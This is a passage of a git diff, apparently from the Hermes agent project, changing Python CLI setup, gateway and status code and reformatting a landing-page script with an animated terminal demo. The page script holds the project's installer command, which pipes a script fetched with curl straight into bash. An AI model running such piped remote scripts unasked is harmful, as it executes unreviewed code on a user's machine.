|
||||
extra_content="".join(parts) if parts else None,
|
||||
extra_content=_COMMENTED_SECTIONS if sections else None,
|
||||
)
|
||||
_secure_file(config_path)
|
||||
|
||||
|
||||
@@ -97,10 +97,6 @@ def check_info(text: str):
|
||||
def run_doctor(args):
|
||||
"""Run diagnostic checks."""
|
||||
should_fix = getattr(args, 'fix', False)
|
||||
|
||||
# Doctor runs from the interactive CLI, so CLI-gated tool availability
|
||||
# checks (like cronjob management) should see the same context as `hermes`.
|
||||
os.environ.setdefault("HERMES_INTERACTIVE", "1")
|
||||
|
||||
issues = []
|
||||
manual_issues = [] # issues that can't be auto-fixed
|
||||
|
||||
+4
-16
@@ -13,7 +13,7 @@ from pathlib import Path
|
||||
|
||||
PROJECT_ROOT = Path(__file__).parent.parent.resolve()
|
||||
|
||||
from hermes_cli.config import get_env_value, get_hermes_home, save_env_value
|
||||
from hermes_cli.config import get_env_value, save_env_value
|
||||
from hermes_cli.setup import (
|
||||
print_header, print_info, print_success, print_warning, print_error,
|
||||
prompt, prompt_choice, prompt_yes_no,
|
||||
@@ -283,7 +283,7 @@ def systemd_status(deep: bool = False):
|
||||
def generate_launchd_plist() -> str:
|
||||
python_path = get_python_path()
|
||||
working_dir = str(PROJECT_ROOT)
|
||||
log_dir = get_hermes_home() / "logs"
|
||||
log_dir = Path.home() / ".hermes" / "logs"
|
||||
log_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
return f"""<?xml version="1.0" encoding="UTF-8"?>
|
||||
@@ -380,7 +380,7 @@ def launchd_status(deep: bool = False):
|
||||
print("✗ Gateway service is not loaded")
|
||||
|
||||
if deep:
|
||||
log_file = get_hermes_home() / "logs" / "gateway.log"
|
||||
log_file = Path.home() / ".hermes" / "logs" / "gateway.log"
|
||||
if log_file.exists():
|
||||
print()
|
||||
print("Recent logs:")
|
||||
@@ -557,7 +557,7 @@ def _platform_status(platform: dict) -> str:
|
||||
val = get_env_value(token_var)
|
||||
if token_var == "WHATSAPP_ENABLED":
|
||||
if val and val.lower() == "true":
|
||||
session_file = get_hermes_home() / "whatsapp" / "session" / "creds.json"
|
||||
session_file = Path.home() / ".hermes" / "whatsapp" / "session" / "creds.json"
|
||||
if session_file.exists():
|
||||
return "configured + paired"
|
||||
return "enabled, not paired"
|
||||
@@ -623,18 +623,6 @@ def _setup_standard_platform(platform: dict):
|
||||
value = prompt(f" {var['prompt']}", password=False)
|
||||
if value:
|
||||
cleaned = value.replace(" ", "")
|
||||
# For Discord, strip common prefixes (user:123, <@123>, <@!123>)
|
||||
if "DISCORD" in var["name"]:
|
||||
parts = []
|
||||
for uid in cleaned.split(","):
|
||||
uid = uid.strip()
|
||||
if uid.startswith("<@") and uid.endswith(">"):
|
||||
uid = uid.lstrip("<@!").rstrip(">")
|
||||
if uid.lower().startswith("user:"):
|
||||
uid = uid[5:]
|
||||
if uid:
|
||||
parts.append(uid)
|
||||
cleaned = ",".join(parts)
|
||||
save_env_value(var["name"], cleaned)
|
||||
print_success(f" Saved — only these users can interact with the bot.")
|
||||
allowed_val_set = cleaned
|
||||
|
||||
+1
-3
@@ -648,7 +648,7 @@ def cmd_whatsapp(args):
|
||||
print("✓ Bridge dependencies already installed")
|
||||
|
||||
# ── Step 5: Check for existing session ───────────────────────────────
|
||||
session_dir = get_hermes_home() / "whatsapp" / "session"
|
||||
session_dir = Path.home() / ".hermes" / "whatsapp" / "session"
|
||||
session_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
if (session_dir / "creds.json").exists():
|
||||
@@ -1057,7 +1057,6 @@ def _model_flow_openai_codex(config, current_model=""):
|
||||
_codex_token = _codex_creds.get("api_key")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
codex_models = get_codex_model_ids(access_token=_codex_token)
|
||||
|
||||
selected = _prompt_model_selection(codex_models, current_model=current_model)
|
||||
@@ -1073,7 +1072,6 @@ def _model_flow_openai_codex(config, current_model=""):
|
||||
print("No change.")
|
||||
|
||||
|
||||
|
||||
def _model_flow_custom(config):
|
||||
"""Custom endpoint: collect URL, API key, and model name.
|
||||
|
||||
|
||||
@@ -40,7 +40,6 @@ _PROVIDER_MODELS: dict[str, list[str]] = {
|
||||
"deepseek-v3.2",
|
||||
],
|
||||
"openai-codex": [
|
||||
"gpt-5.3-codex",
|
||||
"gpt-5.2-codex",
|
||||
"gpt-5.1-codex-mini",
|
||||
"gpt-5.1-codex-max",
|
||||
|
||||
+9
-48
@@ -111,17 +111,7 @@ def _setup_provider_model_selection(config, provider_id, current_model, prompt_c
|
||||
custom = prompt_fn("Enter model name")
|
||||
if custom:
|
||||
_set_default_model(config, custom)
|
||||
else:
|
||||
# "Keep current" selected — validate it's compatible with the new
|
||||
# provider. OpenRouter-formatted names (containing "/") won't work
|
||||
# on direct-API providers and would silently break the gateway.
|
||||
if "/" in (current_model or "") and provider_models:
|
||||
print_warning(
|
||||
f"Current model \"{current_model}\" looks like an OpenRouter model "
|
||||
f"and won't work with {pconfig.name}. "
|
||||
f"Switching to {provider_models[0]}."
|
||||
)
|
||||
_set_default_model(config, provider_models[0])
|
||||
# else: keep current
|
||||
|
||||
|
||||
def _sync_model_from_disk(config: Dict[str, Any]) -> None:
|
||||
@@ -654,7 +644,6 @@ def setup_model_provider(config: dict):
|
||||
_update_config_for_provider,
|
||||
_login_openai_codex,
|
||||
get_codex_auth_status,
|
||||
resolve_codex_runtime_credentials,
|
||||
DEFAULT_CODEX_BASE_URL,
|
||||
detect_external_credentials,
|
||||
)
|
||||
@@ -978,7 +967,7 @@ def setup_model_provider(config: dict):
|
||||
if existing_custom:
|
||||
save_env_value("OPENAI_BASE_URL", "")
|
||||
save_env_value("OPENAI_API_KEY", "")
|
||||
_update_config_for_provider("zai", zai_base_url, default_model="glm-5")
|
||||
_update_config_for_provider("zai", zai_base_url)
|
||||
_set_model_provider(config, "zai", zai_base_url)
|
||||
|
||||
elif provider_idx == 5: # Kimi / Moonshot
|
||||
@@ -1011,7 +1000,7 @@ def setup_model_provider(config: dict):
|
||||
if existing_custom:
|
||||
save_env_value("OPENAI_BASE_URL", "")
|
||||
save_env_value("OPENAI_API_KEY", "")
|
||||
_update_config_for_provider("kimi-coding", pconfig.inference_base_url, default_model="kimi-k2.5")
|
||||
_update_config_for_provider("kimi-coding", pconfig.inference_base_url)
|
||||
_set_model_provider(config, "kimi-coding", pconfig.inference_base_url)
|
||||
|
||||
elif provider_idx == 6: # MiniMax
|
||||
@@ -1044,7 +1033,7 @@ def setup_model_provider(config: dict):
|
||||
if existing_custom:
|
||||
save_env_value("OPENAI_BASE_URL", "")
|
||||
save_env_value("OPENAI_API_KEY", "")
|
||||
_update_config_for_provider("minimax", pconfig.inference_base_url, default_model="MiniMax-M2.5")
|
||||
_update_config_for_provider("minimax", pconfig.inference_base_url)
|
||||
_set_model_provider(config, "minimax", pconfig.inference_base_url)
|
||||
|
||||
elif provider_idx == 7: # MiniMax China
|
||||
@@ -1077,7 +1066,7 @@ def setup_model_provider(config: dict):
|
||||
if existing_custom:
|
||||
save_env_value("OPENAI_BASE_URL", "")
|
||||
save_env_value("OPENAI_API_KEY", "")
|
||||
_update_config_for_provider("minimax-cn", pconfig.inference_base_url, default_model="MiniMax-M2.5")
|
||||
_update_config_for_provider("minimax-cn", pconfig.inference_base_url)
|
||||
_set_model_provider(config, "minimax-cn", pconfig.inference_base_url)
|
||||
|
||||
elif provider_idx == 8: # Anthropic
|
||||
@@ -1181,7 +1170,7 @@ def setup_model_provider(config: dict):
|
||||
save_env_value("OPENAI_API_KEY", "")
|
||||
# Don't save base_url for Anthropic — resolve_runtime_provider()
|
||||
# always hardcodes it. Stale base_urls contaminate other providers.
|
||||
_update_config_for_provider("anthropic", "", default_model="claude-opus-4-6")
|
||||
_update_config_for_provider("anthropic", "")
|
||||
_set_model_provider(config, "anthropic")
|
||||
|
||||
# else: provider_idx == 9 (Keep current) — only shown when a provider already exists
|
||||
@@ -1267,15 +1256,7 @@ def setup_model_provider(config: dict):
|
||||
elif selected_provider == "openai-codex":
|
||||
from hermes_cli.codex_models import get_codex_model_ids
|
||||
|
||||
codex_token = None
|
||||
try:
|
||||
codex_creds = resolve_codex_runtime_credentials()
|
||||
codex_token = codex_creds.get("api_key")
|
||||
except Exception as exc:
|
||||
logger.debug("Could not resolve Codex runtime credentials for model list: %s", exc)
|
||||
|
||||
codex_models = get_codex_model_ids(access_token=codex_token)
|
||||
|
||||
codex_models = get_codex_model_ids()
|
||||
model_choices = codex_models + [f"Keep current ({current_model})"]
|
||||
default_codex = 0
|
||||
if current_model in codex_models:
|
||||
@@ -1944,17 +1925,7 @@ def setup_gateway(config: dict):
|
||||
"Allowed user IDs or usernames (comma-separated, leave empty for open access)"
|
||||
)
|
||||
if allowed_users:
|
||||
# Clean up common prefixes (user:123, <@123>, <@!123>)
|
||||
cleaned_ids = []
|
||||
for uid in allowed_users.replace(" ", "").split(","):
|
||||
uid = uid.strip()
|
||||
if uid.startswith("<@") and uid.endswith(">"):
|
||||
uid = uid.lstrip("<@!").rstrip(">")
|
||||
if uid.lower().startswith("user:"):
|
||||
uid = uid[5:]
|
||||
if uid:
|
||||
cleaned_ids.append(uid)
|
||||
save_env_value("DISCORD_ALLOWED_USERS", ",".join(cleaned_ids))
|
||||
save_env_value("DISCORD_ALLOWED_USERS", allowed_users.replace(" ", ""))
|
||||
print_success("Discord allowlist configured")
|
||||
else:
|
||||
print_info(
|
||||
@@ -1989,18 +1960,8 @@ def setup_gateway(config: dict):
|
||||
)
|
||||
allowed_users = prompt("Allowed user IDs (comma-separated)")
|
||||
if allowed_users:
|
||||
# Clean up common prefixes (user:123, <@123>, <@!123>)
|
||||
cleaned_ids = []
|
||||
for uid in allowed_users.replace(" ", "").split(","):
|
||||
uid = uid.strip()
|
||||
if uid.startswith("<@") and uid.endswith(">"):
|
||||
uid = uid.lstrip("<@!").rstrip(">")
|
||||
if uid.lower().startswith("user:"):
|
||||
uid = uid[5:]
|
||||
if uid:
|
||||
cleaned_ids.append(uid)
|
||||
save_env_value(
|
||||
"DISCORD_ALLOWED_USERS", ",".join(cleaned_ids)
|
||||
"DISCORD_ALLOWED_USERS", allowed_users.replace(" ", "")
|
||||
)
|
||||
print_success("Discord allowlist configured")
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ from pathlib import Path
|
||||
PROJECT_ROOT = Path(__file__).parent.parent.resolve()
|
||||
|
||||
from hermes_cli.colors import Colors, color
|
||||
from hermes_cli.config import get_env_path, get_env_value, get_hermes_home
|
||||
from hermes_cli.config import get_env_path, get_env_value
|
||||
from hermes_constants import OPENROUTER_MODELS_URL
|
||||
|
||||
def check_mark(ok: bool) -> str:
|
||||
@@ -267,7 +267,7 @@ def show_status(args):
|
||||
print()
|
||||
print(color("◆ Scheduled Jobs", Colors.CYAN, Colors.BOLD))
|
||||
|
||||
jobs_file = get_hermes_home() / "cron" / "jobs.json"
|
||||
jobs_file = Path.home() / ".hermes" / "cron" / "jobs.json"
|
||||
if jobs_file.exists():
|
||||
import json
|
||||
try:
|
||||
@@ -287,7 +287,7 @@ def show_status(args):
|
||||
print()
|
||||
print(color("◆ Sessions", Colors.CYAN, Colors.BOLD))
|
||||
|
||||
sessions_file = get_hermes_home() / "sessions" / "sessions.json"
|
||||
sessions_file = Path.home() / ".hermes" / "sessions" / "sessions.json"
|
||||
if sessions_file.exists():
|
||||
import json
|
||||
try:
|
||||
|
||||
+457
-617
File diff suppressed because it is too large
Load Diff
+274
-453
@@ -4,518 +4,339 @@
|
||||
|
||||
// --- Platform install commands ---
|
||||
const PLATFORMS = {
|
||||
linux: {
|
||||
command:
|
||||
"curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash",
|
||||
prompt: "$",
|
||||
note: "Works on Linux, macOS & WSL2 · No prerequisites · Installs everything automatically",
|
||||
stepNote:
|
||||
"Installs uv, Python 3.11, clones the repo, sets up everything. No sudo needed.",
|
||||
},
|
||||
linux: {
|
||||
command: 'curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash',
|
||||
prompt: '$',
|
||||
note: 'Works on Linux, macOS & WSL2 · No prerequisites · Installs everything automatically',
|
||||
stepNote: 'Installs uv, Python 3.11, clones the repo, sets up everything. No sudo needed.',
|
||||
},
|
||||
};
|
||||
|
||||
function detectPlatform() {
|
||||
return "linux";
|
||||
return 'linux';
|
||||
}
|
||||
|
||||
function switchPlatform(platform) {
|
||||
const cfg = PLATFORMS[platform];
|
||||
if (!cfg) return;
|
||||
const cfg = PLATFORMS[platform];
|
||||
if (!cfg) return;
|
||||
|
||||
// Update hero install widget
|
||||
const commandEl = document.getElementById("install-command");
|
||||
const promptEl = document.getElementById("install-prompt");
|
||||
const noteEl = document.getElementById("install-note");
|
||||
// Update hero install widget
|
||||
const commandEl = document.getElementById('install-command');
|
||||
const promptEl = document.getElementById('install-prompt');
|
||||
const noteEl = document.getElementById('install-note');
|
||||
|
||||
if (commandEl) commandEl.textContent = cfg.command;
|
||||
if (promptEl) promptEl.textContent = cfg.prompt;
|
||||
if (noteEl) noteEl.textContent = cfg.note;
|
||||
if (commandEl) commandEl.textContent = cfg.command;
|
||||
if (promptEl) promptEl.textContent = cfg.prompt;
|
||||
if (noteEl) noteEl.textContent = cfg.note;
|
||||
|
||||
// Update active tab in hero
|
||||
document.querySelectorAll(".install-tab").forEach((tab) => {
|
||||
tab.classList.toggle("active", tab.dataset.platform === platform);
|
||||
});
|
||||
// Update active tab in hero
|
||||
document.querySelectorAll('.install-tab').forEach(tab => {
|
||||
tab.classList.toggle('active', tab.dataset.platform === platform);
|
||||
});
|
||||
|
||||
// Sync the step section tabs too
|
||||
switchStepPlatform(platform);
|
||||
// Sync the step section tabs too
|
||||
switchStepPlatform(platform);
|
||||
}
|
||||
|
||||
function switchStepPlatform(platform) {
|
||||
const cfg = PLATFORMS[platform];
|
||||
if (!cfg) return;
|
||||
const cfg = PLATFORMS[platform];
|
||||
if (!cfg) return;
|
||||
|
||||
const commandEl = document.getElementById("step1-command");
|
||||
const copyBtn = document.getElementById("step1-copy");
|
||||
const noteEl = document.getElementById("step1-note");
|
||||
const commandEl = document.getElementById('step1-command');
|
||||
const copyBtn = document.getElementById('step1-copy');
|
||||
const noteEl = document.getElementById('step1-note');
|
||||
|
||||
if (commandEl) commandEl.textContent = cfg.command;
|
||||
if (copyBtn) copyBtn.setAttribute("data-text", cfg.command);
|
||||
if (noteEl) noteEl.textContent = cfg.stepNote;
|
||||
if (commandEl) commandEl.textContent = cfg.command;
|
||||
if (copyBtn) copyBtn.setAttribute('data-text', cfg.command);
|
||||
if (noteEl) noteEl.textContent = cfg.stepNote;
|
||||
|
||||
// Update active tab in step section
|
||||
document.querySelectorAll(".code-tab").forEach((tab) => {
|
||||
tab.classList.toggle("active", tab.dataset.platform === platform);
|
||||
});
|
||||
}
|
||||
|
||||
function toggleMobileNav() {
|
||||
document.getElementById("nav-mobile").classList.toggle("open");
|
||||
document.getElementById("nav-hamburger").classList.toggle("open");
|
||||
}
|
||||
|
||||
function toggleSpecs() {
|
||||
const wrapper = document.getElementById("specs-wrapper");
|
||||
const btn = document.getElementById("specs-toggle");
|
||||
const label = btn.querySelector(".toggle-label");
|
||||
const isOpen = wrapper.classList.contains("open");
|
||||
|
||||
if (isOpen) {
|
||||
wrapper.style.maxHeight = wrapper.scrollHeight + "px";
|
||||
requestAnimationFrame(() => {
|
||||
wrapper.style.maxHeight = "0";
|
||||
// Update active tab in step section
|
||||
document.querySelectorAll('.code-tab').forEach(tab => {
|
||||
tab.classList.toggle('active', tab.dataset.platform === platform);
|
||||
});
|
||||
wrapper.classList.remove("open");
|
||||
btn.classList.remove("open");
|
||||
if (label) label.textContent = "More details";
|
||||
} else {
|
||||
wrapper.classList.add("open");
|
||||
wrapper.style.maxHeight = wrapper.scrollHeight + "px";
|
||||
btn.classList.add("open");
|
||||
if (label) label.textContent = "Less";
|
||||
wrapper.addEventListener(
|
||||
"transitionend",
|
||||
() => {
|
||||
if (wrapper.classList.contains("open")) {
|
||||
wrapper.style.maxHeight = "none";
|
||||
}
|
||||
},
|
||||
{ once: true }
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// --- Copy to clipboard ---
|
||||
function copyInstall() {
|
||||
const text = document.getElementById("install-command").textContent;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const btn = document.querySelector(".install-widget-body .copy-btn");
|
||||
const original = btn.querySelector(".copy-text").textContent;
|
||||
btn.querySelector(".copy-text").textContent = "Copied!";
|
||||
btn.style.color = "var(--primary-light)";
|
||||
setTimeout(() => {
|
||||
btn.querySelector(".copy-text").textContent = original;
|
||||
btn.style.color = "";
|
||||
}, 2000);
|
||||
});
|
||||
const text = document.getElementById('install-command').textContent;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const btn = document.querySelector('.install-widget-body .copy-btn');
|
||||
const original = btn.querySelector('.copy-text').textContent;
|
||||
btn.querySelector('.copy-text').textContent = 'Copied!';
|
||||
btn.style.color = 'var(--gold)';
|
||||
setTimeout(() => {
|
||||
btn.querySelector('.copy-text').textContent = original;
|
||||
btn.style.color = '';
|
||||
}, 2000);
|
||||
});
|
||||
}
|
||||
|
||||
function copyText(btn) {
|
||||
const text = btn.getAttribute("data-text");
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = "Copied!";
|
||||
btn.style.color = "var(--primary-light)";
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.style.color = "";
|
||||
}, 2000);
|
||||
});
|
||||
const text = btn.getAttribute('data-text');
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = 'Copied!';
|
||||
btn.style.color = 'var(--gold)';
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.style.color = '';
|
||||
}, 2000);
|
||||
});
|
||||
}
|
||||
|
||||
// --- Scroll-triggered fade-in ---
|
||||
function initScrollAnimations() {
|
||||
const elements = document.querySelectorAll(
|
||||
".feature-card, .install-step, " +
|
||||
".section-header, .terminal-window",
|
||||
);
|
||||
const elements = document.querySelectorAll(
|
||||
'.feature-card, .tool-pill, .platform-group, .skill-category, ' +
|
||||
'.install-step, .research-card, .footer-card, .section-header, ' +
|
||||
'.lead-text, .section-desc, .terminal-window'
|
||||
);
|
||||
|
||||
elements.forEach((el) => el.classList.add("fade-in"));
|
||||
elements.forEach(el => el.classList.add('fade-in'));
|
||||
|
||||
const observer = new IntersectionObserver(
|
||||
(entries) => {
|
||||
entries.forEach((entry) => {
|
||||
if (entry.isIntersecting) {
|
||||
// Stagger children within grids
|
||||
const parent = entry.target.parentElement;
|
||||
if (parent) {
|
||||
const siblings = parent.querySelectorAll(".fade-in");
|
||||
let idx = Array.from(siblings).indexOf(entry.target);
|
||||
if (idx < 0) idx = 0;
|
||||
setTimeout(() => {
|
||||
entry.target.classList.add("visible");
|
||||
}, idx * 60);
|
||||
} else {
|
||||
entry.target.classList.add("visible");
|
||||
}
|
||||
observer.unobserve(entry.target);
|
||||
}
|
||||
});
|
||||
},
|
||||
{ threshold: 0.1, rootMargin: "0px 0px -40px 0px" },
|
||||
);
|
||||
const observer = new IntersectionObserver((entries) => {
|
||||
entries.forEach(entry => {
|
||||
if (entry.isIntersecting) {
|
||||
// Stagger children within grids
|
||||
const parent = entry.target.parentElement;
|
||||
if (parent) {
|
||||
const siblings = parent.querySelectorAll('.fade-in');
|
||||
let idx = Array.from(siblings).indexOf(entry.target);
|
||||
if (idx < 0) idx = 0;
|
||||
setTimeout(() => {
|
||||
entry.target.classList.add('visible');
|
||||
}, idx * 60);
|
||||
} else {
|
||||
entry.target.classList.add('visible');
|
||||
}
|
||||
observer.unobserve(entry.target);
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.1, rootMargin: '0px 0px -40px 0px' });
|
||||
|
||||
elements.forEach((el) => observer.observe(el));
|
||||
elements.forEach(el => observer.observe(el));
|
||||
}
|
||||
|
||||
// --- Terminal Demo ---
|
||||
const CURSOR = '<span class="terminal-cursor">█</span>';
|
||||
|
||||
const demoSequence = [
|
||||
{ type: "prompt", text: "❯ " },
|
||||
{
|
||||
type: "type",
|
||||
text: "Research the latest approaches to GRPO training and write a summary",
|
||||
delay: 30,
|
||||
},
|
||||
{ type: "pause", ms: 600 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
"",
|
||||
'<span class="t-dim"> web_search "GRPO reinforcement learning 2026" 1.2s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 400 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> web_extract arxiv.org/abs/2402.03300 3.1s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 400 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> web_search "GRPO vs PPO ablation results" 0.9s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 400 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> web_extract huggingface.co/blog/grpo 2.8s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 400 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> write_file ~/research/grpo-summary.md 0.1s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 500 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
"",
|
||||
'<span class="t-text">Done! I\'ve written a summary covering:</span>',
|
||||
"",
|
||||
'<span class="t-text"> <span class="t-green">✓</span> GRPO\'s group-relative advantage (no critic model needed)</span>',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Comparison with PPO/DPO on reasoning benchmarks</span>',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Implementation notes for Axolotl and TRL</span>',
|
||||
"",
|
||||
'<span class="t-text">Saved to</span> <span class="t-accent">~/research/grpo-summary.md</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 2500 },
|
||||
// Scene 1: Research task with delegation
|
||||
{ type: 'prompt', text: '❯ ' },
|
||||
{ type: 'type', text: 'Research the latest approaches to GRPO training and write a summary', delay: 30 },
|
||||
{ type: 'pause', ms: 600 },
|
||||
{ type: 'output', lines: [
|
||||
'',
|
||||
'<span class="t-dim">┊ 🔍 web_search "GRPO reinforcement learning 2026" 1.2s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 400 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ 📄 web_extract arxiv.org/abs/2402.03300 3.1s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 400 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ 🔍 web_search "GRPO vs PPO ablation results" 0.9s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 400 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ 📄 web_extract huggingface.co/blog/grpo 2.8s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 400 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ ✍️ write_file ~/research/grpo-summary.md 0.1s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 500 },
|
||||
{ type: 'output', lines: [
|
||||
'',
|
||||
'<span class="t-text">Done! I\'ve written a summary covering:</span>',
|
||||
'',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> GRPO\'s group-relative advantage (no critic model needed)</span>',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Comparison with PPO/DPO on reasoning benchmarks</span>',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Implementation notes for Axolotl and TRL</span>',
|
||||
'',
|
||||
'<span class="t-text">Saved to</span> <span class="t-amber">~/research/grpo-summary.md</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 2500 },
|
||||
|
||||
{ type: "clear" },
|
||||
{ type: "prompt", text: "❯ " },
|
||||
{
|
||||
type: "type",
|
||||
text: "Review the PR at NousResearch/hermes-agent#42 and fix any issues",
|
||||
delay: 30,
|
||||
},
|
||||
{ type: "pause", ms: 600 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
"",
|
||||
'<span class="t-dim"> delegate_task "review PR #42 changes" 2.1s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 500 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> git diff main..pr-42 0.4s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 400 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> patch tools/registry.py 0.1s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 400 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> python -m pytest tests/ -x 3.2s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 400 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
'<span class="t-dim"> git commit -m "fix: handle empty tool schemas" 0.3s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 500 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
"",
|
||||
'<span class="t-text">Found 2 issues in the PR and fixed both:</span>',
|
||||
"",
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Empty tool schema crash in registry.py — added guard</span>',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Missing error handling in delegate_tool.py — added try/except</span>',
|
||||
"",
|
||||
'<span class="t-text">Tests pass. Committed the fix and pushed to the PR branch.</span>',
|
||||
'<span class="t-text">I also saved a</span> <span class="t-accent">skill</span> <span class="t-text">for this PR review pattern.</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 2500 },
|
||||
// Scene 2: Quick delegation
|
||||
{ type: 'clear' },
|
||||
{ type: 'prompt', text: '❯ ' },
|
||||
{ type: 'type', text: 'Review the PR at NousResearch/hermes-agent#42 and fix any issues', delay: 30 },
|
||||
{ type: 'pause', ms: 600 },
|
||||
{ type: 'output', lines: [
|
||||
'',
|
||||
'<span class="t-dim">┊ 🔀 delegate_task "review PR #42 changes" 2.1s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 500 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ 💻 git diff main..pr-42 0.4s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 400 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ ✏️ patch tools/registry.py 0.1s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 400 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ 💻 python -m pytest tests/ -x 3.2s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 400 },
|
||||
{ type: 'output', lines: [
|
||||
'<span class="t-dim">┊ 💻 git commit -m "fix: handle empty tool schemas" 0.3s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 500 },
|
||||
{ type: 'output', lines: [
|
||||
'',
|
||||
'<span class="t-text">Found 2 issues in the PR and fixed both:</span>',
|
||||
'',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Empty tool schema crash in registry.py — added guard</span>',
|
||||
'<span class="t-text"> <span class="t-green">✓</span> Missing error handling in delegate_tool.py — added try/except</span>',
|
||||
'',
|
||||
'<span class="t-text">Tests pass. Committed the fix and pushed to the PR branch.</span>',
|
||||
'<span class="t-text">I also saved a</span> <span class="t-amber">skill</span> <span class="t-text">for this PR review pattern.</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 2500 },
|
||||
|
||||
{ type: "clear" },
|
||||
{ type: "prompt", text: "❯ " },
|
||||
{
|
||||
type: "type",
|
||||
text: "How did we fix that Docker networking issue?",
|
||||
delay: 35,
|
||||
},
|
||||
{ type: "pause", ms: 500 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
"",
|
||||
'<span class="t-dim"> session_search "Docker networking" 1.4s</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 500 },
|
||||
{
|
||||
type: "output",
|
||||
lines: [
|
||||
"",
|
||||
'<span class="t-text">Found it — from a session on February 12th:</span>',
|
||||
"",
|
||||
'<span class="t-text">The containers couldn\'t reach each other because the compose</span>',
|
||||
'<span class="t-text">file was using the default bridge network. We switched to a</span>',
|
||||
'<span class="t-text">custom network with</span> <span class="t-accent">driver: overlay</span><span class="t-text">, added explicit</span>',
|
||||
'<span class="t-text">aliases, and set</span> <span class="t-accent">dns: 8.8.8.8</span> <span class="t-text">as a fallback.</span>',
|
||||
"",
|
||||
'<span class="t-text">The fix was committed in</span> <span class="t-accent">docker-compose.prod.yml</span><span class="t-text">.</span>',
|
||||
],
|
||||
},
|
||||
{ type: "pause", ms: 3000 },
|
||||
// Scene 3: Session search by keyword
|
||||
{ type: 'clear' },
|
||||
{ type: 'prompt', text: '❯ ' },
|
||||
{ type: 'type', text: 'How did we fix that Docker networking issue?', delay: 35 },
|
||||
{ type: 'pause', ms: 500 },
|
||||
{ type: 'output', lines: [
|
||||
'',
|
||||
'<span class="t-dim">┊ 🔎 session_search "Docker networking" 1.4s</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 500 },
|
||||
{ type: 'output', lines: [
|
||||
'',
|
||||
'<span class="t-text">Found it — from a session on February 12th:</span>',
|
||||
'',
|
||||
'<span class="t-text">The containers couldn\'t reach each other because the compose</span>',
|
||||
'<span class="t-text">file was using the default bridge network. We switched to a</span>',
|
||||
